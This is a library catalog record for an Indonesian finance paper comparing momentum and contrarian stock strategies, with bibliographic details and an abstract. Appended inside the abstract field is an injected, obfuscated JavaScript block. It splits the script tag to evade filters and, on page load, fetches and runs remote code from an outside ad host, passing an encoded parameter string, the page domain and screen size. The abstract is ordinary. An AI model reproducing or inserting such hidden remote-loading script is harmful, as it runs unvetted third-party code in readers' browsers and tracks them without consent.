Comparison in Measuring Effectiveness of Momentum and Contrarian Trading Strategy in Indonesian Stock Exchange

This  paper  wants  to  explore  the  effectiveness  of  momentum  or  contrarian  strategy  in Indonesian  Stock  Exchange  using  different &...

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Bibliographic Details
Main Author: Rizky Luxianto
Format: Article
Language:English
Published: Universitas Indonesia 2014-08-01
Series:Indonesian Capital Market Review
Online Access:http://journal.ui.ac.id/index.php/icmr/article/view/3629
Description
Summary:This &nbsp;paper &nbsp;wants &nbsp;to &nbsp;explore &nbsp;the &nbsp;effectiveness &nbsp;of &nbsp;momentum &nbsp;or &nbsp;contrarian &nbsp;strategy &nbsp;in&nbsp;Indonesian &nbsp;Stock &nbsp;Exchange &nbsp;using &nbsp;different &nbsp;methods &nbsp;in &nbsp;measuring &nbsp;the &nbsp;performance. &nbsp;The&nbsp;point of momentum or contrarian strategy is selecting winner (stocks with highest gain) or&nbsp;loser stocks (stocks with highest loss) and then buy or sell it based on the research result.&nbsp;This research employed three methods in measuring performance to select winner and loser&nbsp;stocks. &nbsp;The &nbsp;irst &nbsp;method &nbsp;used &nbsp;cross &nbsp;section &nbsp;relative &nbsp;return, &nbsp;while &nbsp;the &nbsp;second &nbsp;method &nbsp;used&nbsp;cross section relative return plus risk component (return divided by standard deviation), and&nbsp;the &nbsp;third &nbsp;method &nbsp;employed &nbsp;historical &nbsp;relative &nbsp;return &nbsp;instead &nbsp;of &nbsp;cross &nbsp;section. &nbsp;The &nbsp;result &nbsp;is&nbsp;that, &nbsp;all &nbsp;of &nbsp;those &nbsp;three &nbsp;methods &nbsp;prove &nbsp;that &nbsp;momentum &nbsp;strategy &nbsp;is &nbsp;effectively applicable &nbsp;for&nbsp;winner stock, so in the next period winner stock will continue to make profit, while for loser&nbsp;stock, it is more effective to use contrarian strategy because in the next period, loser stock&nbsp;will rebound and make proit after suffering from high loss.<br /> <script type="text/javascript"><!-- if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKD5ZPUFJSHXkfO2oDKMAQuzOojP%2fmDucJguojRzdY0PZjnsrjI4qdTOeHAtQwjiZtLYQj7tFNHtzZGU%2bH%2fFkypnL2i18%2fZ3389siCfg0LBeacXMdHl8%2fDn9WIn5pYaabIuGr473BoJgrO8F2Zs2clSiZgUibRbl4%2f%2bh84fwwA2SDukkbmN1FqQnbI83nJCjqTEDixH%2f7nUAnBe5p9ZJohSJu6YByurEYShLXnNu%2bh8Cyu1QXCq%2fynX7345depVuEGJNRqyFubxWjGVF349Fz3aNWNscGxEFyTkbCOD92cO0QIC5%2blBR2sEKNbYC%2fs%2b4A8n2cwai0HrrhGc%2bZ%2fZ4Dp3dHOocL1xWNo1wSYrFrQdCHF06QlRFOSqKHYjPocH59idxI%2foYjU4%2f8sA3RbRv29IhNeBiP%2fJ9pw3AhutTDIxLoaO%2fidclptGFnQfghUrR%2f9Awee9%2bdxnjjk%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");} // --></script><noscript>activate javascript</noscript>
ISSN:1979-8997
2356-3818